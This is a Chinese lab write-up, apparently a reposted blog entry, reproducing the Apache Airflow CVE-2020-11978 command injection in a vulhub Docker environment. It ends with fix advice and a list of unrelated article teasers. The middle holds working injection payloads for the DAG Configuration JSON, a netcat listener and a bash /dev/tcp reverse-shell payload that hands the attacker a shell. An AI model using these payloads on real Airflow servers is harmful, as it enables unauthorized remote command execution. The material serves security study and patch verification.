[ vulhub漏洞复现篇 ] Airflow dag中的命令注入漏洞复现 CVE-2020-11978

news2025/2/3 12:07:11

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2020-11978环境
    • 2、启动CVE-2020-11978环境
    • 3、查看CVE-2020-11978环境
    • 4、访问CVE-2020-11978环境
    • 5、查看CVE-2020-11978提示信息
    • 6、关闭CVE-2020-11978环境
  • 五、漏洞复现
    • 1、打开example_trigger_target_dag
    • 2、进入到调试页面
    • 3、注入代码
    • 4、执行成功
    • 5、文件创建成功
  • 六、Getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.构造payload
      • 3、进入到调试页面
      • 4、注入代码
      • 5、执行成功
    • 3、getshell成功
  • 七、修复建议
  • 八、相关资源

一、漏洞编号

CVE-2020-11978

二、影响范围

Apache Airflow <= 1.10.10

三、漏洞描述

Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

四、环境搭建

1、进入CVE-2020-11978环境

cd vulhub/airflow/CVE-2020-11978 

在这里插入图片描述

2、启动CVE-2020-11978环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2020-11978环境

这里需要注意一下,由于漏洞环境比较大,启动的时间很慢,并不是一下子就能启动好的。

docker-compose ps 

下面这个图是我启动之后立马查看的,还有还环境没有起来

在这里插入图片描述

这是我隔了一段时间之后再次查看的图片,这个时候又多了一个8080端口

在这里插入图片描述

4、访问CVE-2020-11978环境

http://192.168.233.128:8080/admin/

在这里插入图片描述

5、查看CVE-2020-11978提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2020-11978环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、打开example_trigger_target_dag

访问http://192.168.25.130:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。

在这里插入图片描述

2、进入到调试页面

进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。

在这里插入图片描述

3、注入代码

在Configuration JSON中输入:

{"message":"'\";touch /tmp/what_the_fuck;#"}

再点击Trigger执行dag。

在这里插入图片描述

4、执行成功

等几秒可以看到执行成功,显示success,说明命令成功。

在这里插入图片描述

5、文件创建成功

进入容器查看,发现成功创建PowerShell.txt文件创建成功

docker ps
docker exec -it 容器id /bin/bash
ls /tmp

在这里插入图片描述

六、Getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash -i >& /dev/tcp/192.168.233.1/55555 0>&1

2.构造payload

{"message":"'\";bash -i >& /dev/tcp/192.168.233.1/55555 0>&1;#"}

3、进入到调试页面

进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。

在这里插入图片描述

4、注入代码

在Configuration JSON中输入payload

{"message":"'\";bash -i >& /dev/tcp/192.168.233.1/55555 0>&1;#"}

再点击Trigger执行dag。

在这里插入图片描述

5、执行成功

等几秒可以看到执行成功,一直显示running,我们进入监听端看一下。

在这里插入图片描述

3、getshell成功

进入监听端发现shell反弹过来了

在这里插入图片描述

执行ls /tmp发现我们之前创建的文件

在这里插入图片描述

七、修复建议

1、升级到最新版本
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/103770.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

web前端-javascript-function函数的arguments对象(类数组对象,它也可以通过索引来操作数据,也可以获取长度)

arguments 对象 1. 引出 arguments 在调用 function 函数时&#xff0c;浏览器每次都会传递进两个隐含的参数 函数的上下文对象 this封装实参的对象 arguments 2. 说明 arguments 是一个类数组对象,它也可以通过索引来操作数据&#xff0c;也可以获取长度在调用函数时&#…

ACL会议介绍 - Call for Main Conference Papers

The 61st Annual Meeting of the Association for Computational Linguistics Toronto, Canada July 9-14, 2023 网址&#xff1a;The 61st Annual Meeting of the Association for Computational Linguistics - ACL 2023 目录 征集主要会议文件 Submission Topics 主题轨迹…

Stm32标准库函数3——BlueTooth 蓝牙通讯测试 Stm32中继

//在使用本程序前&#xff0c;先将模块与手机端匹配成功&#xff0c;波特率38400 //串口1&#xff08;A9、A10&#xff09;接电脑&#xff0c;串口2&#xff08;A2、A3&#xff09;接蓝牙模块 //所有的波特率都为38400&#xff0c;蓝牙的供电为3.3-5v //程序功能&#xff0c;转…

Discrete Optimization课程笔记(4)—混合整数规划

目录​​​​​​​ 1.MIP介绍(Mixed Integer Program) Case1: Warehouse Location Case2: Knapsack Problem(Branch and Bound) 2.MIP模型(modeling) Case3: Coloring Problem(Big-M Transformation) 3.割平面法(Cutting planes) 4.多面体切割(Polyhedral Cuts) Cas…

前端工程化VUE-cli

六 前端工程化vue-cli Vue是渐近式框架&#xff0c;你可以用它一个功能&#xff0c;也可以用全家桶。前面的章节中&#xff0c;我们是在html中引入vue.js&#xff0c;只用它核心的数据绑定功能。但基于vue的扩展还有很多&#xff0c;比如vueRouter&#xff0c;axios&#xff0…

Base64编码剖析

文章目录Base64编码概述Base64原理索引表如何转换&#xff1f;Java实操Java代码实现Base64参考文章Base64编码概述 百度百科中对Base64有一个很好的解释&#xff1a;“Base64是网络上最常见的用于传输8Bit字节码的编码方式之一&#xff0c;Base64就是一种基于64个可打印字符来…

【面试题】5年前端 - 历时1个月收获7个offer

大厂面试题分享 面试题库 前端面试题库 &#xff08;面试必备&#xff09; 推荐&#xff1a;★★★★★ 地址&#xff1a;前端面试题库 前言 省流&#xff1a;最终拿到了58、UMU、便利蜂、虾皮、快手、腾讯、字节的offer。 金三银四面试的, 这次整体面试通过率还挺高的, …

深入解读云场景下的网络抖动

一、网络抖动背景 延时高&#xff0c;网络卡&#xff0c;卡住了美好&#xff01; 应用抖&#xff0c;业务惊&#xff0c;惊扰了谁的心&#xff1f; 当你在观看世界杯梅西主罚点球突然视频中断了几秒钟 当你在游戏中奋力厮杀突然手机在转圈圈无法响应 当你守候多时为了抢一…

数据结构与算法-二叉树

什么树 树是 n&#xff08;n>0&#xff09;个有限集。n0是空树&#xff0c;在n>1的非空树中有且仅有一个根节点作为树根&#xff0c;其他结构分散在根节点下形成一个个子树。各个子树互不相交。在实际的编码环节中&#xff0c;我们可以用链表和数组来模拟树结构。 为什么…

【计算机考研408】进程运行的流程

由程序段&#xff08;进程运行的程序的代码&#xff09;、相关数据段、和PCB&#xff08;进程存在的唯一标志&#xff09;三个部分构成了进程实体&#xff0c;也称作进程映像。 注&#xff1a;&#xff08;引入线程后&#xff09;进程只作为cpu外的系统资源的分配单元。 注&a…

DOM算法系列007-判定给定节点是否为空白节点

UID: 20221220141216 aliases: tags: source: cssclass: created: 2022-12-20 空白节点 什么是空白节点&#xff1f; 当一个节点的节点值为空文本值时&#xff0c;这个节点就是空白节点。 节点值&#xff1a; 即节点的 nodeValue 属性值&#xff1a; 实际上&#xff0c;节点值…

程序员必看:一款巨好用的免费简历“神器”(据说有了它,再也不发愁找工作啦!)

先说地址&#xff1a;https://cvmaker.greedyai.com/ 相比于前两年&#xff0c;今年大家的求职热情依然不减&#xff0c;但市场却泼了一盆“冰水”。 无论是从后台收到的留言&#xff0c;还是各种各样的新闻报道&#xff0c;以及今年的各大平台招聘数据来看&#xff0c;总结…

java多线程 下

目录 线程的生命周期 线程的同步 Synchronized的使用方法 同步机制中的锁 同步的范围 单例设计模式之懒汉式(线程安全) 线程的死锁问题 Lock(锁) synchronized 与 Lock 的对比 线程的通信 JDK5.0 新增线程创建方式 新增方式一&#xff1a;实现Callable接口 新增方式二…

利用LSTM识别显式篇章关系实战 可作为毕设

1.显式篇章关系分类概述 案例知识点: 任务描述:篇章关系分析是自然语言中处理篇章级基础语言分析任务,其目的是利用规则或机器学习等计算机处理手段判别篇章各组成成分之间的修辞逻辑关系,从而从整体上理解篇章。其中论元之间有连接词连接的此类关系称为显式篇章关系。本教…

RabbitMQ实战教程

RabbitMQ实战教程1.什么是RabbitMQ1.1 MQ&#xff08;Message Queue&#xff09;消息队列1.1.1 异步处理1.1.2 应用解耦1.1.3 流量削峰1.2 背景知识介绍1.2.1 AMQP高级消息队列协议1.2.2 JMS1.2.3 二者的联系1.2.4 Erlang语言1.3 为什么选择RabbitMQ1.4 RabbitMQ各组件功能2.怎…

【springboot 2.5.14 +jsp】打jar包,超详细,亲测可用,带源码

【springboot 2.5.14 jsp】打jar包&#xff0c;案例文档目录截图文件配置文件pom.xmlapplication.xmljspindex.jspjavaSpringbootJspApplication.javaHelloController.java打包方式运行源码地址文档目录截图 文件 配置文件 pom.xml <?xml version"1.0" encodi…

VEML6075的驱动代码

VEML6075的驱动代码VEML6075简介VEML6075相关参数VEML6075IIC读写相关时序VEML6075IIC读写驱动代码VEML6075IIC读写串口打印总结VEML6075简介 VEML6075是一种紫外线&#xff08;UV&#xff09;光传感器&#xff0c;它可以测量紫外线强度。它通常用于各种应用&#xff0c;包括环…

【云原生 | Kubernetes 实战】15、K8s 控制器 Daemonset 入门到企业实战应用

目录 一、DaemonSet 控制器&#xff1a;概念、原理解读 1.1 DaemonSet 概述 1.2 DaemonSet 工作原理&#xff1a;如何管理 Pod &#xff1f; 1.3 Daemonset 典型的应用场景 1.4 DaemonSet 与 Deployment 的区别 二、DaemonSet 资源清单文件编写技巧 三、DaemonSet …

零基础如何自学Python编程?

零基础如何系统地自学Python编程&#xff1f;绝大多数零基础转行者学习编程的目的就是想找一份高薪有发展前景的工作&#xff0c;哪个编程语言就业前景好越值得学习。零基础的同学学Python是一个不错的选择。 对于零基础的初学者最迷茫的是不知道怎样开始学习&#xff0c;建议…

基础背包问题--0 1背包与完全背包

&#x1f389;&#x1f389;&#x1f389;写在前面&#xff1a; 博主主页&#xff1a;&#x1f339;&#x1f339;&#x1f339;戳一戳&#xff0c;欢迎大佬指点&#xff01; 目标梦想&#xff1a;进大厂&#xff0c;立志成为一个牛掰的Java程序猿&#xff0c;虽然现在还是一个…